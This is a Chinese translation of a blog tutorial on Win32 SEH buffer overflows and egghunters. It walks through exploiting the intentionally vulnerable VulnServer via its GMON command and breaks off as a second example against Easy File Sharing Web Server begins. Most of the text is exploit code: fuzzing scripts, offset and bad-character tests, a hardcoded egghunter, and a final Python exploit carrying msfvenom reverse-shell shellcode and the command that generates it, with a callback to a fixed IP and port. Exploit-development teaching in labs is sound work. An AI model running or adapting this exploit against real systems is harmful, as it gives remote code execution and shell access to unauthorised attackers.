Win32缓冲区溢出-SEH溢出和Egghunters

0x00 前言

这是一篇翻译的文章,出自https://m0chan.github.io/2019/08/21/Win32-Buffer-Overflow-SEH.html,本作者只做翻译工作,版权为原作者所有,如有侵权,请联系删除。

0x01 介绍

1.1 异常处理程序101

在从漏洞利用的角度出发进行研究之前,让我们首先讨论一下异常处理程序的 真正含义,不同的类型以及它们在Windows OS中的服务目的。

1.1.1 什么是例外?

异常是在程序/功能执行期间发生的事件

1.1.2 不同类型的处理程序

异常处理程序(EH) -一段代码,将尝试执行某项操作,并根据结果选择预定义的课程。例如,如果失败,请尝试执行此操作。

结构化异常处理程序(SEH)- Windows内置的异常处理程序,如果开发特定的异常处理程序失败或主要使用,则可用于回退。

下一个结构化异常处理程序(nSEH)-

现在,如您在上面看到的,我确实提到了EH / SEH,因为异常处理程序分为两个不同的类别,即OS级别处理程序和/或由开发人员自己实现的处理程序。如您所见,Windows具有一个称为SEH操作系统级别

因此,基本上,异常处理程序是程序内部编写的代码段,其唯一目的是处理应用程序可能引发的任何异常或错误。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
try
{
// Code to try goes here.
}
catch (SomeSpecificException ex)
{
// Code to handle the exception goes here.
}
finally
{
// Code to execute after the try (and possibly catch) blocks
// goes here.
}

上面的例子代表了一个基本的异常处理程序(EH)C#由开发人员实现-有时候看着像上面的代码可以是相当吓人非程序员,但所有我们真正做的是说try运行这段代码:如果有错误/无论catch块包含什么内容,都将发生异常。简单!

现在,对于软件开发人员来说,编写自己的异常处理程序来管理软件可能遇到的任何错误/警告并不少见,但是Windows还内置了一个称为结构化异常处理程序(SEH)的程序,它可以抛出诸如以下的错误消息Program.exe has stopped working and needs to close:确保您之前都看过它们。

还值得一提的是,无论在OS级别和/或开发人员级别定义了异常处理**程序Windows SEH都会通过一组指定的内存位置和功能对所有处理程序进行集中和一致的控制和管理,无论是在操作系统级别和/或开发人员级别。**。

1.1.3 那么结构化异常处理程序如何工作?

那么,它们如何工作?SEH井是Windows中的一种机制,它利用称为链接列表的数据结构/布局来包含一系列存储位置。触发异常后,操作系统将检索SEH链的头部并遍历列表,处理程序将评估最相关的操作过程,以正常关闭程序或执行指定的操作以从异常中恢复。(更多有关链接的信息)

当我们运行一个应用程序时,将执行该应用程序,并从该应用程序内部运行每个功能,都会创建一个堆栈帧,然后在该函数返回或完成执行后最终弹出堆栈帧。现在对于异常处理程序实际上同样如此。基本上,如果你运行一个函数具有异常处理程序嵌入itself-该异常处理程序将获得它自己的专用堆栈帧

资料来源:ethicalhacker.net

如您所见,每个代码块都有自己的堆栈框架,由链接每个相应框架的箭头表示。

那么……它们是如何联系的?对每个异常处理程序来说,都有一个配置的异常注册记录,这些记录都链接在一起形成一个链表。该异常注册记录中包含众多领域,但即_EXCEPTION_REGISTRATION_RECORD *Next;它定义的下一个异常注册记录SEH链 -这是什么使我们过导航SEH链顶部至底部

现在,您可能想知道Windows SEH如何使用异常注册记录处理程序等。当发生异常时,操作系统将从SEH链的顶部启动,并检查第一个异常注册记录以查看它是否可以处理异常/错误,如果可以,它将执行指向异常处理程序的指针定义的代码块-但是,如果不能,它将使用字段移至下一条*记录,并沿*SEH链*向下_EXCEPTION_REGISTRATION_RECORD *Next;移动,并继续执行因此一直沿链向下,直到找到能够处理异常的记录/处理程序*。

但是,如果没有预定义的异常处理程序功能适用,该怎么办?良好的窗口在每个SEH链的底部放置了一个默认/通用异常处理程序,它可以提供如下通用消息Your program has stopped responding and needs to close:通用处理程序在上图中由表示0xffffff

下图提供了整个SEH链的简化概述

我们还可以通过加载二进制文件并单击来查看具有免疫性SEH链Alt+S -如您在下图中所看到的,我们的SEH链在左下角以绿色突出显示,而SEH Record / SEH Handler在屏幕上以蓝色突出显示。堆。

在这种情况下,我们实际上有2个由SEH Records指定的处理程序-第一个是正常实现的处理程序,而第二个是地址0028FFC4的Window的OS Level处理程序,我们可以在下面的屏幕快照中看到。

1.1.4 漏洞

因此,回顾一下,我们已经介绍了异常是什么,不同类型的处理程序,还讨论了结构化异常处理程序的 真正工作原理,因此现在我们可能应该从攻击者的角度谈谈这一点以及我们如何利用这些异常处理程序。处理程序来获得对程序执行流程的控制,类似于EIP Overwrite第1部分中的内容。

现在在这里的第1部分中-我们能够控制VulnServer和SLMail上的执行流程,从而也将它重定向到我们自己的shellcode并弹出一个反向shell,这当然是一个非常古老的漏洞,SEH应该解决此问题,但是一个非常糟糕的实现,很快就被利用了。

现在,我不想在这里展示一个疯狂的示例,因为我将在下面的“ 示例”部分中进行介绍,但是这里的理论是我们不使用用户控制输入覆盖EIP,而是覆盖指向下一个SEH记录(即异常注册)的指针记录以及指向SE处理程序的指针,这些指针指向我们控制并可以放置shellcode的内存区域。

如您所见,我们没有像第1 部分那样覆盖EIP寄存器41414141而是覆盖了SE HandlerSEH Record的指针。现在,在开始讨论Egghunter以及进行SEH溢出时如何使用它们之前,我想快速向您展示与SE HandlerSEH Record的指针相比,我们如何控制EIP寄存器

我不会深入探讨细节,但是如果我们可以对永不重复的字符串进行模糊处理,然后计算偏移量,然后使用选择的数据覆盖SE HandlerSE Record,该偏移量可用于控制EIP。

在下面的示例中,我分析了偏移也是SE Record3519 Bytes因此我在SE Record上加上了4 x B ,在SE Handler上加上了4 xC。查看下面的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python
import socket
import sys


nseh = "BBBB"
seh = "CCCC"

buffer="A" * 3515
buffer += nseh
buffer += seh

junk = "D"*(4500-len(buffer))
buffer += junk

try:
print "[*] Starting to Fuzz GMON"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',9999))
print "[*] Connected to bof.local on Port 9999"
s.send(('GMON /.:/' + buffer))
print "[*] Finished Fuzzing Check SEH Chain on Immunity"
s.close()
except:
print "couldn't connect to server"

现在,如果我们跳过Immunity并查看SEH链,我们将看到以下内容。

首先让我向您展示一些东西,当前应用程序处于崩溃状态(当然),但是我们仍然可以通过按Shift + F9将异常传递给程序-如果这样做,我们会注意到一些有趣的东西。

SE Handler在堆栈上的值被压入EIP寄存器 ,这当然不是很理想!现在,我们可以控制整个程序的执行流程。

1.1.5 提及POP POP RET

因此,如您在上面的屏幕截图/示例中所看到的,我们实际上生活在SE Handler的土地或区域中,由于空间的限制以及我们必须使用的存储区域的小巧性,我们实际上并不好当然,我们也许可以将Egghunters纳入其中,但我将在本文后面讨论。我想首先谈谈POP POP RET通常与SEH溢出结合使用的技术

1.1.5.1 什么是POP POP RET?

现在,实际上,POP POP RET我们将SE Handler值替换为一条POP POP RET指令的内存地址,这将听起来很真实,这将在技术上运行这些汇编指令,从而将我们引向nSEH。

值得一提的是,弹出值转到的寄存器并不重要,我们只需要将ESP 的值上移两次,然后返回即可执行。因此POP EAXPOP EBC,POP ECX等都将适用,只要RET在两次弹出后有相关说明

1.1.5.2 我们为什么要POP POP RET?

现在,如果您回想第1部分 -一旦我们获得了对返回地址EIP的控制,我们就找到了一条JMP ESP指令,以跳到我们的堆栈代码的顶部,在此我们的shell代码和NOP滑动,我们获得了代码执行权。现在,如果我们尝试向SE Handler中添加JMP ESP指令的内存位置,则Windows会自动将所有寄存器清零,以防止用户跳到那里的shellcode,但这确实是一个有缺陷的保护机制。

您实际上可以在下面的屏幕中看到ESIEDI已被清零,以帮助减轻攻击者直接跳到Shellcode的风险。

现在就在这里POP POP RET,让我们首先记住一下SEH RecordHandler在堆栈上的布局

现在,让我们考虑一下POP POP RET在这里将执行的操作:POP(向上移动4个字节)POP(向上移动4个字节)RET(简单返回,将地址发送给EIP作为下一条要执行的指令) -现在我们有了完全控制权; )

1.1.5.3 查找POP POP RET模块和说明

现在,我不想在这里深入探讨如何找到适用的模块和说明,因为我将在示例部分中介绍它,但长话短说是mona

第1部分类似,我们大量使用了mona,在执行SEH溢出时也将使用它-我们要做的就是发出以下命令

1
!mona seh

这将自动在所有可用模块中搜索POP POP RET序列。

现在,就像漏洞利用一样,我们必须确保我们选择内存地址中具有0个错误字符的模块,并避免使用诸如SEEPSEH之类的*SEH防护措施*,我将在后面讨论。


1.2 彩蛋猎人101

1.2.1 什么是彩蛋猎人?

Egghunter是一小段shellcode,通常为32个字节,可用于在所有内存空间中搜索我们的最后阶段shellcode

1.2.2 彩蛋者如何工作?

https://www.exploit-db.com/docs/english/18482-egg-hunter-a-twist-in-buffer-overflow.pdf

我想概述一下Egghunters在这里的工作方式,而无需深入了解,就像我上面已经说过的那样

Egghunter是一小段shellcode,通常为32个字节,可用于在所有内存空间中搜索我们的最后阶段shellcode

这听起来不错,但为什么不仅仅使用简单的Short JMPJMP ESP跳转到我们的shellcode- 想象一下您有很少的空间可以使用,例如50字节。这没有足够的空间来放置一些shell代码,但是足以放置一个32字节的Egghunter

假设我们可以将32字节的 hunter放入堆栈/内存,并且能够将执行重定向到hunter的位置,我们可以告诉hunter在整个内存空间中搜索预定义的标签,例如MOCH,我们的shellcode将是直接放在此标签(又称鸡蛋)之后

所以执行流程看起来像这样

  1. 控制执行力
  2. 跳转到包含32字节Egghunter的小缓冲区空间
  3. Egghunter执行并在所有内存中搜索预定义的鸡蛋
  4. Egghunter找到鸡蛋并执行放置 鸡蛋*之后的* shellcode

1.2.3 一个关于NTDisplayString的词

在本文中,我们将使用32字节 Egghunter,它利用NTDisplayString显示为

1
2
3
4
5
6
7
NTSYSAPI 
NTSTATUS
NTAPI

NtDisplayString(

IN PUNICODE_STRING String );

[参考] [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtDisplayString.html]

NTDisplayString实际上是在Windows中使用相同的系统调用来显示蓝屏,那么这如何在我们的Egghunter中发挥作用?

好吧,我们滥用了以下事实:该系统调用用于验证地址范围,并且指针也被读取而不被写入。

这种方法有一个小的缺点,它的系统调用号NTDisplayString无法更改,而且多年来,系统调用号在Windows版本和体系结构上均已更改。

当我写这篇文章时,我实际上遇到了我的Egghunter出现的一些问题,Access Violation reading: FFFFFF即执行INT 2E系统调用时。原因?

因为我试图在Windows的64位系统上运行Egghunter,所以我有点愚蠢,但是由于该应用程序被编译为32位应用程序并且过去没有太多问题,因此我对此没有多加考虑。

Corelan出色地解释了Egghunter的每个组装指令的功能,因此请查看此处的文章


0x02 例子

2.1 带Egghunter的VulnServer

在此示例中,我将介绍VulnServer,这是一个故意易受攻击的服务器,它在端口9999上侦听任何传入的连接,并支持多种类型的命令,如之前在第1部分中看到的。

2.1.1 模糊和发现崩溃

现在类似于第1部分,我不想演示如何模糊VulnServer上的每个可用命令。如果您正在寻找类似的内容,请检查我们的booFuzz,它非常酷。在这种情况下,我只打算模糊GMON命令以节省时间并专注于开发部分本身。

让我们使用以下脚本对该命令进行简单的模糊处理来开始它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
import socket
import sys

buffer=["A"]
counter=100

while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200


for string in buffer:
print "[*] Starting to Fuzz GMON with %s bytes" %len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',9999))
print "[*] Connected to bof.local on Port 9999"
s.send(('GMON /.:/' + string))
s.close()
print "[*] Finished Fuzzing GMON with %s bytes" %len(string)

我们在这里所做的工作与第1部分中介绍的基本堆栈溢出非常相似,其中我们在进行以下操作

  1. 端口9999上连接到bof.local
  2. 发送GMON /.:/ + string += 200-其中字符串=,A并按200每个周期递增。
  3. 关闭TCP连接

一旦应用程序崩溃,脚本将开始运行,我们可以检查Immunity

现在,当我们跳到Immunity时,我们可能会注意到一些有趣的东西,我注意到的第一件事就是Access Violation when writing to [06500000]Immunity的页脚,这是告诉我们该应用程序处于崩溃状态,并且实际上不知道下一步该怎么做 -您可能还要注意,与包含第1部分的EIP值不同,它看起来很正常41414141-这是由于我们没有过度运行返回地址并获得对EIP寄存器的控制,而是超过了堆栈上的nSEHSEH值。

让我们通过在Immunity中按下来建立SEH链ALT+S。这样做之后,我们会注意到一些有趣的41414141输出,我们过去在EIP寄存器中看到的输出现在显示在SE Handler中。右键单击41414141并选择Follow in Stack

完美,我们现在可以使用用户提供的输入来覆盖指向nSEHSEH的指针。现在,让我们找出必须提供多少用户提供的输入才能到达nSEHSEH的指针

2.1.2 寻找偏移

在这里,我们再次找到偏移量,因为我确信您知道这是漏洞利用开发的非常普遍的部分,并且不仅适用于SEH Overlows-有几种不同的方法可以执行此操作,例如手动metasploitmona,但是由于偏爱,我会在这里坚持蒙娜丽莎

首先,使用以下命令创建一个永不重复的字符串/循环模式

1
!mona pc 6000

并将其与我们的模糊测试脚本结合在一起,但不必每次都重复A的增量200字节,我们只需将我们的模式与 GMON :./

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
import socket
import sys

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa...."



print "[*] Starting to Fuzz GMON with pattern containing %s bytes" %len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',9999))
print "[*] Connected to bof.local on Port 9999"
s.send(('GMON /.:/' + buffer))
s.close()
print "[*] Finished Fuzzing GMON with %s bytes" %len(buffer)

现在,我们的应用程序将返回崩溃状态并报告a,Access Violation但是这次SE Handler包含45336E45的内容相比41414141-让我们再次跳转到堆栈并检查当前驻留在堆栈上的数据。

完善!如您所见,我们正在查看我们永不重复的字符串,并且无法仅通过在mona中使用以下命令之一来计算偏移量

1
2
!mona findmsp
!mona po 1En2

如您所见,我们花了3515 个字节来超出nSEH的值,而花了3519个字节来超过SE Handler的值-在我开始拼凑所有内容之前,我想首先花时间来查找任何不良字符。

2.1.3 寻找坏字符

我不会在这里解释为什么我们需要找到坏字符,因为我在第1部分中做了很好的工作,所以就去那里。

让我们使用下面的简单脚本,通过命令将每个可能的字符的字符串发送到VulnServerGMON。当然,我们将\x00字符(即空字节)排除在外

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python
import socket
import sys


nseh = "B"*4
seh = "C"*4


badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


buffer = "A" * (3515-len(badchars))
print "[*] There are %s" %len(badchars) + " bad chars to test"
print "[*] Starting to Fuzz GMON with %s bytes" %len(buffer) + " A's"
buffer += badchars #All of badchars
buffer += nseh #BBBB
buffer += seh #CCCC
junk = "D"*(5000-len(buffer))
buffer += junk #Bunch of D"s to fill remaining space

print "[*] Starting to Fuzz GMON with everything containing %s bytes" %len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',9999))
print "[*] Connected to bof.local on Port 9999"
s.send(('GMON /.:/' + buffer))
s.close()
print "[*] Finished Fuzzing GMON with %s bytes" %len(buffer)

现在,仅简要介绍我们在这里所做的事情

  1. 计算不良字符的数量并从3515我们的偏移量减去该值

  2. 发送 3260 A's + 255 bad chars

  3. 发送BBBB以覆盖nSEH

  4. 发送CCCC以覆盖SEH

  5. 填充剩余空间

    1
    DDDD...
    1. 我们这样做的原因是我们没有填充剩余空间,所以SEH不会触发

ps:由于SE处理程序(又称52字节)之后空间的限制,我决定在覆盖nSEHSEH之前发送错误字符

检查内存转储,我们可以看到除了空字节又名,我们实际上有零个坏字符\x00

2.1.4 查找POP POP RET指令

我已经详细说明POP POP RET了指令的顺序及其重要性,因此我将坚持实用并让上面的部分A Mention on POP POP RET进行讨论。

首先让我们找到一个适用的模块,该模块将使用以下带有mona的命令包含此指令序列

1
!mona seh

在这里,一个明显的选择是突出的,efffunc.dll因为它没有使用任何安全机制(例如SafeSEH 或)进行编译ASLR

让我们双击该模块,然后验证组装说明并确保这是我们所需要的。

完美,我们有POP EBX POP EBPRETN指令。这正是我们所需要的POP POP RET

对于这一部分,我建议您在POP POP RET函数的开头放置一个断点,以便您可以逐步进行下一部分以了解会发生什么,只需在mona中双击所选模块,然后按F2一下POP EBX说明即可。

现在,我将修改python脚本,以如下所示用指令seh的值覆盖变量POP POP RET

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
import socket
import sys


nseh = "B"*4
seh = "\xb4\x10\x50\x62" #0x625010b4 pop,pop,ret



buffer = "A" * 3515
print "[*] Starting to Fuzz GMON with %s bytes" %len(buffer) + " A's"
buffer += nseh #BBBB
buffer += seh #CCCC
junk = "D"*(5000-len(buffer))
buffer += junk #Bunch of D"s to fill remaining space

print "[*] Starting to Fuzz GMON with everything containing %s bytes" %len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',9999))
print "[*] Connected to bof.local on Port 9999"
s.send(('GMON /.:/' + buffer))
s.close()
print "[*] Finished Fuzzing GMON with %s bytes" %len(buffer)

让我们运行此脚本,再次跳转到Immunity,看看发生了什么。

在我们检查堆栈或内存转储之前,让我们快速检查一下SEH链

完美,SE处理程序指向POP POP RET我们所选DLL中的指令,在这种情况下0x625010B4->essfunc.dll

快速分析堆栈和内存转储也都可以。

当然,因为我们只是在应用程序处于崩溃状态时将所有内容拼凑在一起,但是让我们将我们的异常传递给程序,通过该程序将堆栈上的SE HandlerShift+F9的值发送到EIP寄存器EIP寄存器将依次跳转按照我们的指示。POP POP RET

完善!正是我们所需要的,将我们的SE Handler625010B4in推送到EIP了我们的POP POP RET说明中,如左上方所示。

现在,如果我们通过按逐步操作F7,则将首先进行操作POP EBX POP EBP,最后进行操作RETN,这将使我们达到nSEH的值-在这种情况下BBBB

只是为了更详细地解释这里发生了什么

  • POP EBX - POP的栈顶到EBX注册 - 7DEB6AB9
  • POP EBP - POP的栈顶到EBP注册 - 0237ED34
  • RETN - 返回 /堆栈的顶部为推动价值EIP寄存器 - 0237FFC4

现在您可能会注意到0237FFC4看起来很熟悉,如果再次查看SEH Chain,我们将看到0237FFC4对应于nSEH

如您所见,EIP点也024FFFC4与左上方的指令相关,查看这些指令,我们可以看到“ 42 42 42 42 which represents our“ B” * 4”。

2.1.5 生成Egghunter

正如我已经谈到了为什么使用Egghunter以及它们如何工作一样,我将直接进入它,首先让我们分析堆栈以及在这里使用什么。

如前所述,需要3515字节来获取太nSEH,而需要3519字节来覆盖指向SE处理程序的指针,之后我们有52字节的空间,在这种情况下,由DDDDD...- 表示:-当然52字节对于我们的shellcode来说不是足够的空间,但是对于Egghunter来说已经足够了,因为我们只需要32个字节 - 只要我们可以使用相关的Egghunter 标签通过其他方式将shellcode放入内存,我们就应该能够执行。

像往常一样,由于简单,我将在此阶段使用mona来帮助我。

使用Mona生成Egghunter

1
!mona egg -t MOCH

默认情况下,mona会生成一个带有默认标签的Egghunter,它的默认标签w00t可以很好地工作,但是在这里我选择指定一个自定义标签MOCH

完美,现在让我们将其添加到我们的利用脚本中

1
2
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x4d\x4f\x43\x48\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

值得注意的是,Egghunters也应检查以前发现的不良字符。

我们还将tag在变量TWICE中定义变量,以便Egghunter在执行和搜索内存时不会发现自己。

1
egg = 'MOCHMOCH'

我还将花时间junk

1
2
3
buffer += egghunter
junk = "D"*(5000-len(buffer))
buffer += junk #Bunch of D"s to fill remaining space

这将允许我们在SEH之后直接添加Egghunter shell代码,然后添加一堆D来填充剩余空间,以防万一。

现在让我们生成一些shell代码,对整体漏洞进行最后调整,然后尝试一下。

2.1.6 跳到Egghunter

现在只是重申此处的目的是超速**SEH,执行一个POP POP RET序列,该序列又将nSEH的值EIP寄存器** -在这种情况下,我们希望将Egghunter的地址放在nSEH之上或以某种形式的指令将使我们跳入我们的Egghunter shellcode,再次,如果我们检查堆栈,我们会发现我们走得太远。

2.1.7 生成Shellcode和最终利用

一如既往,我将在这里使用MSFVenom生成一些shellcode,因为我们并不是真正在与高级防病毒软件或任何其他工具作斗争,所以不必花哨,我们只需使用下面的代码即可。

1
m0chan@kali:/> msfvenom -p windows/shell_reverse_tcp LHOST=172.16.10.171 LPORT=443 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00"

现在生成了很棒的shell代码,我们只是将其弹出到最终的利用中。

在这种情况下,你可以看到我们会从内存地址跳转0237FFC40237FFCC这将是在那里我们Egghunter会坐下。

现在在这里,我们只是用0237FFCC覆盖nSEH的地址,但是就像我说的那样,它不是很实用,并且最好做一个简单的短跳转(也称为操作码)-但是有一个小的变化。该指令只有2个字节nSEH需要4个字节。EB``EB

这不是一个大问题,因为我们可以简单地使用NOPSaka,\x90所以我们在这里要做的是填充nSEH\x90\x90这意味着2/4个字节已满,然后是代表跳转6个字节的EB指令\xeb\x06。现在,nSEH中填充了4/4个字节

我们利用现在技术上跳8个字节,但我们只需要跳6个字节,因为我们真的只是滑动下来NOPS所以6个字节是所有的需要。

太好了,现在在漏洞利用程序中更新nSEH变量以反映以下内容

1
nseh = "\xeb\x06\x90\x90"

当然,little endian再次是相反顺序的原因。

最终利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python
import socket
import sys

#Vulnserver GMON SEH Overflow w/ Egghunter
#Author: m0chan
#Date: 28/08/2019

nseh = "\xeb\x06\x90\x90" #0x909006be - nop,nop,jump 6 bytes with EB into egghunter
seh = "\xb4\x10\x50\x62" #0x625010br pop,pop,ret

eggnops = "\x90\x90\x90\x90\x90\x90\x90\x90"

egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x74\x65\x65\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

egg = 'MOCHMOCH'

#msfvenom -p windows/shell_reverse_tcp LHOST=172.16.10.171 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x80\x0a\x0c\x0d"

shellcode = (
"\xda\xc4\xbf\xcf\xa2\xc0\xf1\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x52\x83\xeb\xfc\x31\x7b\x13\x03\xb4\xb1\x22\x04\xb6\x5e\x20"
"\xe7\x46\x9f\x45\x61\xa3\xae\x45\x15\xa0\x81\x75\x5d\xe4\x2d"
"\xfd\x33\x1c\xa5\x73\x9c\x13\x0e\x39\xfa\x1a\x8f\x12\x3e\x3d"
"\x13\x69\x13\x9d\x2a\xa2\x66\xdc\x6b\xdf\x8b\x8c\x24\xab\x3e"
"\x20\x40\xe1\x82\xcb\x1a\xe7\x82\x28\xea\x06\xa2\xff\x60\x51"
"\x64\xfe\xa5\xe9\x2d\x18\xa9\xd4\xe4\x93\x19\xa2\xf6\x75\x50"
"\x4b\x54\xb8\x5c\xbe\xa4\xfd\x5b\x21\xd3\xf7\x9f\xdc\xe4\xcc"
"\xe2\x3a\x60\xd6\x45\xc8\xd2\x32\x77\x1d\x84\xb1\x7b\xea\xc2"
"\x9d\x9f\xed\x07\x96\xa4\x66\xa6\x78\x2d\x3c\x8d\x5c\x75\xe6"
"\xac\xc5\xd3\x49\xd0\x15\xbc\x36\x74\x5e\x51\x22\x05\x3d\x3e"
"\x87\x24\xbd\xbe\x8f\x3f\xce\x8c\x10\x94\x58\xbd\xd9\x32\x9f"
"\xc2\xf3\x83\x0f\x3d\xfc\xf3\x06\xfa\xa8\xa3\x30\x2b\xd1\x2f"
"\xc0\xd4\x04\xff\x90\x7a\xf7\x40\x40\x3b\xa7\x28\x8a\xb4\x98"
"\x49\xb5\x1e\xb1\xe0\x4c\xc9\x12\xe4\x44\xa2\x03\x07\x58\xb5"
"\x68\x8e\xbe\xdf\x9e\xc7\x69\x48\x06\x42\xe1\xe9\xc7\x58\x8c"
"\x2a\x43\x6f\x71\xe4\xa4\x1a\x61\x91\x44\x51\xdb\x34\x5a\x4f"
"\x73\xda\xc9\x14\x83\x95\xf1\x82\xd4\xf2\xc4\xda\xb0\xee\x7f"
"\x75\xa6\xf2\xe6\xbe\x62\x29\xdb\x41\x6b\xbc\x67\x66\x7b\x78"
"\x67\x22\x2f\xd4\x3e\xfc\x99\x92\xe8\x4e\x73\x4d\x46\x19\x13"
"\x08\xa4\x9a\x65\x15\xe1\x6c\x89\xa4\x5c\x29\xb6\x09\x09\xbd"
"\xcf\x77\xa9\x42\x1a\x3c\xc9\xa0\x8e\x49\x62\x7d\x5b\xf0\xef"
"\x7e\xb6\x37\x16\xfd\x32\xc8\xed\x1d\x37\xcd\xaa\x99\xa4\xbf"
"\xa3\x4f\xca\x6c\xc3\x45")


buffer = "A" * (3515-len(egg + shellcode))
print "[*] Adding Egghunter tag " + egg + " alongside A Buffer"
buffer += egg
buffer += shellcode
print "[*] Starting to Fuzz GMON with %s bytes" %len(buffer) + " A's"
buffer += nseh
print "[*] Overwriting nSEH Value with " + nseh
buffer += seh #0x625010br pop,pop,ret
print "[*] Overwriting SEH Value with " + seh
buffer += eggnops
buffer += egghunter
junk = "J"*(5000-len(buffer))
buffer += junk #Bunch of D"s to fill remaining space

print "[*] Starting to Fuzz GMON with everything containing %s bytes" %len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',9999))
print "[*] Connected to bof.local on Port 9999"
s.send(('GMON /.:/' + buffer))
s.close()
print "[*] Finished Fuzzing GMON with %s bytes" %len(buffer)

443假设我们有一个打开的监听器,我们将收到一个反向外壳-在这里值得注意的是,这只能Windows 7 x86此工作是由于Egghunter启动系统调用的方式,即INT 2E-整个体系结构稍有不同,因此我们的mona Egghunter将仅在 32 Bit

我决定创建此小图来从较高的角度表示漏洞,并尝试显示每个相关的跳转-我的visio技能不是很好,所以请问!

2.2 无需Egghunter的轻松文件共享Web服务器7.2

轻松文件共享Web服务器是Win XP / Win 7时代的遗留软件,它使访问者可以轻松地通过选择的Web浏览器轻松上传/下载文件,尽管它在被Stack Overflows充斥着众多漏洞时非常有用到SEH溢出

2.2.1 模糊和发现崩溃

与之前的示例类似,我将停留模糊测试阶段,因为我不想花费大量时间对每个输入/参数进行模糊测试,也就是说,在此示例中,我们将以HTTP协议为目标并boozfuzz支持HTTP模糊测试,因此请检查一下!我很快将只写一篇关于模糊测试和不同技术的文章。

由于该漏洞位于HTTP中,因此有几种方法可以使用python做到这一点,我们可以使用该requests库,也可以仅通过端口80连接并发送原始HTTP请求。-我将在此处输入Port 80 / Raw Requests,并可能requests在最后重写脚本。

首先让我们从一个基本的FUZZ脚本开始,直到发生崩溃为止,这里的漏洞位于GET变量内部,底层应用程序试图在其中获取传递的输入内容,GET并且无法进行边界检查和任何清理等操作。

这是一个示例示例,我们将使用python发送HTTP请求

1
2
3
4
5
6
7
8
9
10
11
GET /m0chan.txtAAAAAAAAAbufferhereAAAAAAA HTTP/1.1
Host: 172.16.10.15
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSIONID=5905; UserID=; PassWD=
If-Modified-Since: Fri, 11 May 2012 10:11:48 GMT
Connection: close

正如您在第1行上看到的那样,我们正在请求m0chan.txt旁边的缓冲区/图案。-让我们快速编写一些python脚本以使其变得更简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
import socket
import sys
import string

buffer = "A" * 5000


